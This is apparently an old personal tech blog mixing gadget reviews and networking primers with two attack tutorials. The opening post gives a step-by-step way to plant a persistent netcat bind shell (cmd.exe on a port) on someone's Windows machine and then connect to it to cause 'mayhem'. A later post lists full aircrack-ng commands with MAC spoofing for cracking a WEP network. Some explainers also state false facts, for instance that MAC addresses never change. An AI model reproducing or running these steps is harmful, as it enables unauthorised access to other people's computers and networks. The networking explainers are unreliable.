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How to Backdoor a Windows Computer

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How to BackDoor a Windows System

Some of you may argue that this is stupid or to just use a trojan but I enjoy having cmd line access to my target. This is normally something that you will need physical access to attempt but only for a short period of time. A Backdoor is just as the name suggest an open security flaw allowing you access to come into the system or house.

Prerequisites

1st. You will need a USB Stick or other Portable Media Device.

2nd. You will need to download a copy of Netcat for windows from here.

3rd. You will need to know how to write a batch file. If you dont than gtfo of my thread.

How to BackDoor a Computer

How you Backdoor the computer your working with is largely up to you and up to the amount of security present on the computer. If there is high level security on the network that the computer is present on or physical security AKA people you might have a hard time pulling this off but with a little creativity you should be just fine.

1st. Download netcat and extract the nc.exe to your portable media drive.

2nd. Make a .bat file with this as the contents “nc -L -p 888 -d -e cmd.exe” the 888 you can change to whatever port you wish.

3rd. Copy the bat file and the nc.exe to the same folder.

4th. Take your devious little peice of backdooring media to the computer you wish to backdoor.

5th. Here comes the trickey bit with the security if you do not have access to the windows System32 directory or the Startup directory than your backdoor will only work while the computer is on. However if you dont have Access to the System32 or Startup you can always use a live Linux CD or some other OS Live that will allow you to mount the hard drive and copy the files into the directorys. Now if you copy your backdoor into the System32 it will run at startup as a service this is the most ideal condition.

6th. WAIT before you ditch your newley backdoored computer you need to find out the IP or WAN IP of it. If you are on the Same LAN as the computer you backdoored such as a school or workplace just go into the CMD prompt and type ipconfig /all and find the IP of that workstation. But if you are trying to hack the computer from a far away location you need the WAN IP to find the WAN IP you need to go to a site such as mywanip.com. BUT NOTE SOMETIMES THE FIREWALL will block your poor little netcat so be carefull you might have to hack the router when you have local access and port forward.

7th. Now that the computer is backdoored you may retreat to your secret hacking lair. First to connect to your backdoor you need to open a CMD Prompt in windows or a Terminal in Linux or Mac. Than you need to telnet into the Netcat by using the command “telnet “theipyougot” “theportthatyouhadchangedtoor888″ ” . Now you have access to a CMD Prompt on the Windows Machine you just hacked have fun looking through files or causing general mayhem. Never underestimate the power of having CMD Access to a machine.

PS3 Slim Review

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About 3 weeks ago I was lucky enough to run into some extra cash and I decided to purchase a Playstation 3 with it. The Playstation 3 Slim had just come out so I decided newer is better and opted for it. The size and noise comparison is astounding but honestly I do miss the option to install another operating system onto the Playstation 3. Just like any other PS3 the Slim will hold all of your photos, play all of your Sony Playstation Games at 1080p resolution or lower, and play all of your BlueRay, DVD’s, and CD’s. The Playstation 3 as a gaming system is wonderful. The on-line functions are free unlike the Xbox360’s and all of the games are absolutely gorgeous on any high definition screen. If you have the option to buy the original Playstation or the Playstation 3 Slim ask yourself one question would you like a fully functioning computer with your Playstation or would you rather opt for a smaller and quieter media center because that ultimately is the decision you are making.

New Lite Facebook

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The other day I was searching through the new Facebook and many people have older computers that don’t handle facebook well. Or many times your stuck in a library or coffee shop and so the Facebook devs actually made a lighter quick Facebook. To go and checkout the new Lite Facebook go to lite.facebook.com .

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February 15, 2010 at 8:35 pm

WEP Cracking for Dummies

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Cracking Wireless Equivalence Policy is really not to hard to break. The smaller they key the easier it is to crack WEP Keys come in 3 different styles 32 bit,64 bit,and 128 bit Keys. The higher the key the longer it will take for you to crack. So before we do any actual cracking you need to have all of the pre requisites those are first of all a copy of Backtrack Linux ill show you how to get that later, next we need a Wireless Card that is capable of being used in Backtrack Linux, and finally we need a laptop or computer to run it off of.

How to Get Backtrack Linux

1. First of all you need to download a copy of the ISO file from here.

2. Than if you are on Windows 7 all you need to do is put in a CD and click burn to disc. If your not just search for a free ISO Burning tool such as Power ISO.

3. Now Just put the CD in your computer and Reboot. Your computer should boot off the Disc and load up backtrack.

4. It should drop you to a CMD line all you have to do is to type “startx” without the quotes.

How to Crack WEP Keys on Backtrack

Allright now you should be in Backtrack the desktop should be all loaded and you should be ready to start cracking those WEP Keys.

1. First you must click on the Terminal icon in the bottom toolbar it looks like a black TV.

2. Now you must type in airmon-ng the command will display a card name which you will need to remember and substitute for the “eth1″.

3. Now type airmon-ng stop “eth1″.

4.Now type ifconfig “eth1″ down

5.Now type macchanger –mac 00:11:22:33:44:55 “eth1″

6.Now type airmon-ng start “eth1″

7.Now type airodump-ng “eth1″

*You need to note the Channel, The BSSID, and the ESSID to crack.*

8.Now type airodump-ng -c “whatever channel” -w “whateverfilenameuwant” –BSSID “whateverbssid” “eth1″

*Make sure that you leave this window open so run a new Terminal.*

9.aireplay-ng -1 0 -a “bssid” -h 00:11:22:33:44:55 “eth1″

*Leave this windows open.*

10.aireplay-ng -3 -b “bssid -h 00:11:22:33:44:55 “eth1″

*Leave this window open.*

11. Now go back and wait for the Data to hit 1000 IVS than run the next command.

*This is for a 32 bit WEP.*

11.aircrack-ng -b “bssid” “whateverfilename”.

The key that is displayed is the WEP just remove the “:”’s and thats it if you need any help leave me a comment below.

Basic Computer Knowledge – What is a Router

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A router is the key backbone to the internet. Everybody that has internet has a router of some type but in our case the most common router basically takes the internet line or ASDL line from your ISP and than has Ethernet Ports on it to allow you to connect your computer or other internet enabled device into it and let them have internet. Some routers not have a Wireless AP or Access Point in them so that you just plug your internet line into it than it outputs a wireless signal that all your devices can connect to. Routers are basically your car they just get you into town to see all your goods and likewise they protect you from other people no one can get into your router or car if all your windows are rolled up and if you think about it like this than your internet line is the gas for your car to run upon allowing you to get into the city. Routers come in all sizes and shapes and are used for companies,houses, business’s,ISP’s themselves, and many other things.

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January 30, 2010 at 11:44 am

Basic Computer Knowledge – What is a MAC Address

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A MAC Address is just like an IP Address in the fact that it tells and names a computer however MAC Address’s are far more specific. Similarly how an IP would tell what city your in a MAC would tell you what your house looked like but no other information however if you had both of them you would have a city and a house number. A MAC Address or otherwise called Media Access Control Address is the unique number assigned to each and every internet enabled device no two Mac Address’s are the same anywhere in the world. A MAC Address unlike an IP Address cannot be shared or change it will always be the same. A MAC Address is not broadcast on the internet the only people that can find out what your MAC is are people that have physical access to your computer. In most cases you will probably never really need to know what your MAC Address is but it is an identifier for any Public network such as a Coffee Shop, Library, Government Office, or Workplace to know which computers are which.

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January 29, 2010 at 10:32 pm

Basic Computer Knowledge – What is an IP Address

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Many of you who use computers hear some terms thrown around by all the tech savvy people in your office, school, or even at home one of those such terms is an IP Address.IP Address is an abbreviation for Internet Protocol Address. This address is kind of like the address your home has it basically points to where you live in the internet or what you computer is called on the internet. There are 2 different types of IP Address’s that you might need to know about or have heard about previously. There are WAN IP Address’s, or LAN IP Address’s both are equally as important to your understanding. A WAN IP Address is a Wide Area Network Internet Protocol Address basically when you get on the Internet you have to go through an Internet Service Provider or ISP they will assign your home or other place a pool of WAN IP Address’s to use when ever you go onto another website or connect to another computer they will use this WAN IP Address to name or see each other. The LAN IP Address is equally as important LAN IP Address stands for Local Area Network Internet Protocol Address. LAN IP’s are what all of the computers in your home,office,or subsequent workplace use to communicate with each other. The LAN IP is used for anything on a Network such as any phones,MP3 Players,Gaming Consoles,Computers,Printers absolutely anything. LAN IP’s can all be the same in each network because the internet only uses WAN IP’s to communicate with each other all LAN IP’s are ignored. This also allows you to understand that no hacker or Russian spy can see your computer from the internet all they can see is the IP Address given to you by your Internet Service Provider. Your WAN IP being known is akin to someone knowing what city you live in but nothing else it really does them no good or very little. Thanks for reading this short summery on IP Address’s I hope it gave you a better understanding of what they are used for and what they are.

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January 29, 2010 at 10:14 pm

Top 10 iPhone Apps of 2010

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So we all have our favourites and we all what to look and find new ones so im going to list my favourites of 2010.

Top 10

#10. MotoXMayhem

Some may have seen me review this already but I really can’t stress how fun this game is and really how affordable it is to 99 cents for hours of entertainment you really cant go wrong their. Like I said before 2 sets of 10 stage worlds to go through will keep you entertained for hours and hours and the graphics and control systems are top notch. If you want any more information check out my already written review on it.

#9. OMG Pirates!

Another great game by mikamobile the creators of Zombieville USA. The game is based around the story line of a lone ninja with his village destroyed taken vengeance out on the rest of the pirates and stopping them from conquering the world. The controls are rather similar to Zombieville but with a level upgrade system that will increase your health or MP or even allow you to unlock great new ninja moves. Once you beat the campaign which takes quite a few hours you will unlock the survival mode which can occupy you for ages.

#8. Trenches

Trenches is a great strategy game in which you buy groups of troops and send them trough your trenches to fight the German invaders. It is actually one of the most difficult games I have played and has great fighting animations and strategic upgrade options. If you want to get it from the AppStore it costs only a dollar but be warned its not for dumb people or non gamers.

#7. Scany

Scany isn’t a tool for everyone but its great for anybody who is a sudo hacker,hacker, or network or IT Pro. It allows you to scan IP addresses for open ports and even telnet into the ports. It sometimes allows you to scan entire IP Ranges and Servers for flaws open ports ways to connect and venerability. It looks great like one of those hacker applications that you would see on a movie.

#6. Engadget

A great free news application that you can get from the app store. As you can guess it allows you to access Engadget.com in a very viewer centric iPhone view. It allows you to watch all the Engadget Podcasts and the Engadget Show videos. The interface is good and it caches all of the articles so you can read them even when your not on the Wifi or Cell Network.

#5. iCopter

Come on now guys this is a classic game called helicopter on the computer. Basically in the iPhone version you hold or release the screen to make the helicopter raise or fall accordingly its pretty easy to get a hang of and is only 99 cents and is surprisingly addictive.

#4. DoodleJump

Im gussing you have all heard of DoodleJump it is without a doubt the best iPhone game there is. It is a highly addictive game where you make a character jump up and down off of platforms and dodge enemies and than shoot them to make sure that you don’t die. If you want it right now it only costs 99 cents and its only becoming better.

#3.WifiTrak

WifiTrak is basically the wifi app that is built into the iPod Touch but better. It allows automatic scanning and auto connection to unlocked network its shows you how strong the connections are and also increases and lets you see and connect to even vary week connections.

#2.Instapaper

Instapaper and Instapaper Pro are a set of applications that allow you to save webpages to read later when your not connected to your Wifi. The regular version is free but it wont let you save a webpages image format so they wont look great but the pro version will let you save all the images and allow you to also save feeds and automatically grab feeds. The pro version is only 1.99$ and is totally worth your money.

#1. Beejive IM

Beejive IM is a great instant messenger that allows you to message people whenever you want and stays completely active in the background. It has push notifications that let you see a message when you get one. It allows you to log into an array of different Instant Messenger clients including MSN,Yahoo,Myspace and Facebook. It now only costs 5.99 and for that price you really cannot go wrong it has been my favourite app and will probably continue to be for years to come and I really suggest investing your money in it.

Written by Ian Armour

January 29, 2010 at 4:26 pm

App Review Moto X Mayhem

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The AppStore has a huge amount of great games for the iTouch or iPhone. Moto X Mayhem is probably one of them for 1 dollar, it provided me with a few hours of entertainment. It only has 2 sets of islands to run through on your dirt-bike but that doesn’t really bother me as the game doesn’t save and is actually pretty difficult to get through each of the islands on the set of 10 lives. The controls are great and you can use either your accelerometer, digital controls or touch controls. The best part of the game is posting your speed against other peoples times on the on-line leader board to see how good you stack up. If you have a dollar laying around I recommend getting this game.

Epic Fail at Fatherhood Youtube Video

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Yesterday I was looking through the most viewed videos on Youtube. I started to watch this video as you claims that its him vlogging so im wondering do you really sexually harasse your own daughter like that….. better yet do you really sexually harrase your dog like that yeah uh huh anyway check it out guys. By the way checking out that pick im thinking maybe that picture might have been this guy a few years ago.

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January 25, 2010 at 6:28 pm